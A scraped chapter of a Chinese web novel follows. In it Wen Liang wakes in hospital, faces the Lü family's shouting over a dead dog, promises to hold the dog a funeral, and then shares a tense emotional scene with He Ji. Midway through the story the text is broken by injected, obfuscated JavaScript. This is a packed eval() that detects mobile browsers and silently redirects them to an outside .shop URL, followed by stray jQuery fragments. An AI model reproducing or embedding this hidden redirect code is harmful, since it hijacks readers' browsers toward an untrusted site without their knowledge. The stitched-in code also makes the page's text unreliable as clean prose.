文趣网 > 都市小说 > 情敌代练拒绝做好人 > 40. 头七
    温良睁开眼睛,有点不可置信。

    他又回来了?

    “啊!大佬!换回来了!”吕大少兴奋地跳起来。

    温良有点不理解,“正常人被别人夺了舍,不应该千方百计地追回身体的控制权吗?你为什么反其道而行之?”

    他不了解,这世界上有这么一群人,宁愿做个人生的读者,相比事必躬行,他们更喜欢看别人的喧嚣热闹。

    “官方号有啥不放心的?”吕大少憨厚一笑,声音里竟然还有些娇羞,“大佬,我还没准备好重新出发,你再多教教我嘛。”

    怎么一个两个的,全都学会夹着嗓子说话了?

    这小孩是在撒娇吧,是吧是吧?

    温良感觉有点不适应,连忙坐起来,面对真实存在的两个人。

    外面也不清净。

    温良刚睁开眼就感受到了两道有如实质的目光、

    左边,何寂欣喜若狂,“你回来了!”

    右边,梁盈盈悲喜交加,“你回来了?”

    他就晕了一小会儿,至于吗?

    还有,不应该问“你醒来了”吗?

    温良感觉自己从内到外、从上到下都被这俩看透了。

    他有点尴尬,咳了一声,准备开口,病房的门被踢开了。

    吕家父子三人排着队,气势汹汹地冲进来。

    吕胜西脑袋还有点四四方方,冲在最前面吼:“小畜生!还我的大富!”

    吕老太爷拄着没了尾巴的龙头拐杖,“赔老子拐杖!赔狗!”

    吕胜东跟在后面,“赔拐杖!赔狗!”

    何寂眉头一皱,刚要开口,发现袖口被温良拽了拽。

    卡皮巴拉水汪汪的大眼睛顿时闪着亮光,直勾勾盯着温良,闭了嘴。

    梁盈盈一脸陶醉地看这两个人互动。

    咿——

    何总这幅不要钱的样子,哪有一点商场上叱咤风云的痕迹!

    大佬果然迷人,何总沦陷了吧!

    梁盈盈顿时一脸姨母笑。

    赚了,现场磕cp,比看小说要爽多了。

    如果环境稍微安静一点的话。

    病房里,老中青三代、男低音男中音男高音三重唱简直要把天花板掀了。

    所谓三个臭皮匠顶个诸葛亮,父子三人组比受了刺激的狗还要聒噪百倍。

    单人病房比较偏远,并没有人围观。

    为防扰民,温良索性指使卡皮巴拉关上门,静静看着吕氏三人组哭闹。

    有何寂在那里镇着,吕老太爷和吕胜东只敢大吵大叫,并没有胆量起肢体冲突。

    吕胜西倒是敢,可是他唯一的左膀右臂变成了一团碎肉,一时间没了帮手,竟然比那父子俩还要萎。

    他吼任他吼,我方岿然不动。

    三个人喊到筋疲力竭,一个个嗓子都要冒火,温良这才笑盈盈地喝着水,看着默默吞口水的三人组,“你们想怎样?”

    “给我当狗!”

    “赔钱!”

    “把股份转我!”

    三个人各执一词。

    嗯,意见不统一,不过没关系,反正没人惯着他们。

    温良笑了笑,满脸嘲讽,“我给你们指条明路,你们不如找个律师,起个民事诉讼吧,法院怎么判,我就怎么赔,怎么样?”

    “你以为老子不敢吗!”吕胜西叉腰跳脚。

    “告你个倾家荡产!”吕老太爷狠狠敲着龙头拐杖。

    只有吕胜东绿着脸一言不发。

    这时,门开了,梁惠如的女高音吼到破音劈叉,“不行!”

    父子三人立正,向后转,齐齐看着顶大梁的儿媳妇。

    吕胜东飞一样冲了过去,仿佛找到了靠山,“老婆!”

    梁惠如得意地笑了。

    果然!

    东哥越穷越爱他!

    丢了股份欠了钱,家也被拆了个七七八八,所以,东哥都主动投怀送抱了!

    那父子俩还想争辩,梁惠如立刻道:“玩儿萝卜蹲呢?东哥蹲完小西蹲?你们知不知道,就算起诉,法院也不会支持赔偿的,反而会追究狗主人的责任!”

    吕家人法盲,但是胜在听话。

    吕老太爷气愤地攥紧龙头拐杖,气势汹汹地吼出一句话,“算了!走!”

    带头就要离开病房。

    形势反转,吕胜西看了看老爹,决定使出终极大招。

    他咚的一声躺在地上,四体着地,张牙舞爪地打起滚来,“大富啊~~大富大富啊~~”

    梁盈盈无奈地捂上眼睛。

    虽然她身上留着吕氏的血,但是那个身长七尺的婴儿和她没一毛钱关系吧!

    对吧对吧!

    就算扯上一丝半点,也有够丢人的!

    看到梁惠如着急上火的样子,温良顿时猜到了原因。

    他敲了敲吕大少,问:“那狗是不是算在吕胜东名下的?”

    “嗨,禁养犬没有谁名下一说,”吕大少也觉得丢人,捂着眼睛道,“不过,吕胜东的信用卡在他弟手里。”

    好么,原来家庭业力代代相传呢。

    弟弟花大哥的钱,没钱花的大哥就去压榨儿子。

    好一条生物链!

    要是要不来,这家人积累的业力就要把吕大少压垮了呢!

    温良玩味地看着撒泼打滚的吕胜西、面色铁青的吕胜东和不停搅屎的吕老太爷。

    这群人刚才已经放了一波电,所以第二轮没开始多久,电池就耗空了。

    吕胜西的哭声从开水壶逐渐变成了破风扇,后来干脆成了破风箱。

    等没了动静,温良不慌不忙道:“我给你们出个主意,过几天,我亲自给那条狗办场风光的葬礼,怎么样?”

    吕胜西顿时一个鲤鱼打挺跳起来,“办!你还要给它披麻戴孝!”

    温良笑着点点头,“行!”

    “不行!”吕老太爷和吕胜东异口同声。

    他都退了一步了,为什么不能痛打落水孙子,再让他退一百步!

    葬礼要办,钱要他花,而且这姐弟俩的股份和财产也要让出来!

    全给他和小儿子!

    老头张了张嘴,想要重新提要求,无奈嗓子经过了两轮折腾,哑了,他的声音只有自己听得到。

    上阵父子兵,吕胜东立刻要顶上。

    梁惠如一看,那还得了?

    但凡吕胜东手里有一毛钱,都会产生新的爱好!

    于是,梁惠如立刻扯着吕胜东,二话不说就往门外拉。

    吕胜东一个字没说,就被老婆连拉带扯离开了病房。

    大儿子下了战场,吕老太爷只好拼命给小儿子使眼色。

    千万别到此为止啊!

    要钱啊!

    要股份啊!<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819988|207887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    可惜,上了头的吕胜西连看都没看老爹一眼,“你答应的!七天以后,给我的狗办头七!我要直播!我要你丢脸丢到死!”

    梁盈盈悄悄给温良使了个眼色。

    给狗办葬礼也就算了,披麻戴孝算什么!

    温良示意她稍安勿躁,一口答应,“没问题,我保证,给你们办一场盛大的葬礼。”

    吕老太爷急得上蹿下跳,阿巴阿巴地张嘴,可惜没有声音,只好不停眨眼暗示。

    吕胜西还一脸迷惑地看着老爹,“爸,你眼睛抽抽了吗?要不要去楼下挂个号?”

    挂个毛!

    俩儿子没一个省心的!

    搞事四人组消失了,病房里终于清净下来。

    何寂的眼睛就没从温良脸上离开过,眼神里全是惶恐,“你还走吗?”

    温良没说话,低下头。

    梁盈盈看懂了这动作的意思。

    有点庆幸,又有点于心不忍。

    要是弟弟回来,她新磕的CP可就BE了。

    抛开一切不谈,现在她杵在这里,好像一个高瓦数的电灯泡。

    十分识相的梁盈盈立刻起身,“我有事先走了,你们聊。”

    “等等,”还没迈动步子,人就被温良叫住,“姐,那个葬礼,麻烦你也出席一下。”

    呵呵。

    就算没人邀请,她也会跑过去吃瓜的。

    可下一句话让梁盈盈五雷轰顶,“咱们一起披麻戴孝。”

    啥?

    合着您还给我派了点活是吧!

    外焦里嫩的梁盈盈思索两秒,答应下来。

    大佬的心思她不明白,但是开团秒跟总没错。

    敲定葬礼的事情后,梁盈盈立刻抬脚走人。

    磕cp是爽,可是贴脸开大就不对了。

    从温良醒过来,何寂的眼珠子几乎没怎么转过,幽深的瞳孔死死盯着眼前的人,生怕他下一秒就消失不见了。

    温良从没有见过这样的何寂。

    在他的印象里,何寂少年时候是自带冷气的、有一点小傲娇的大帅比,后来变成了不苟言笑、泰山崩于前都面不改色的帅气卡皮巴拉。

    可是现在,何寂就像碎了一样,虽然身形端正,腰背依旧挺得笔直,可是整个人就像一座精工铸就的冷山,布满了大大小小的裂纹,只要轻轻一碰,就要崩到四分五裂。

    温良这人不吃软不吃硬,最怕的就是刚折玉碎。

    他有点慌了,手足无措地拍拍何寂的手背,“你……别伤心……”

    何寂猛地抓住覆盖在手背上的手,把它抱在怀里,用尽力气想把这只手按进心脏里。

    仿佛只有这样,才能永远的把他的WL留在这世界上。

    可是,即使如此,即使把这躯体拆吃入腹,留下的也可能只有一个皮囊,他要的灵魂,一直是飘忽的、不知何时就会消失不见的。

    越想越绝望,何寂抱着温良的手,仿佛捧着一盒注定会融化的冰淇淋。

    这个人从来没有属于他过,然而到如今,可能连多看一眼,都要变成奢望。

    “你能不能……不要离开……”何寂声音哽咽,近乎于哀求。

    他看出来了。

    温良想,然而,他向来不擅长说谎。

    面对恶意,尚且可以运筹帷幄。

    但现在,他面对的是一颗真心。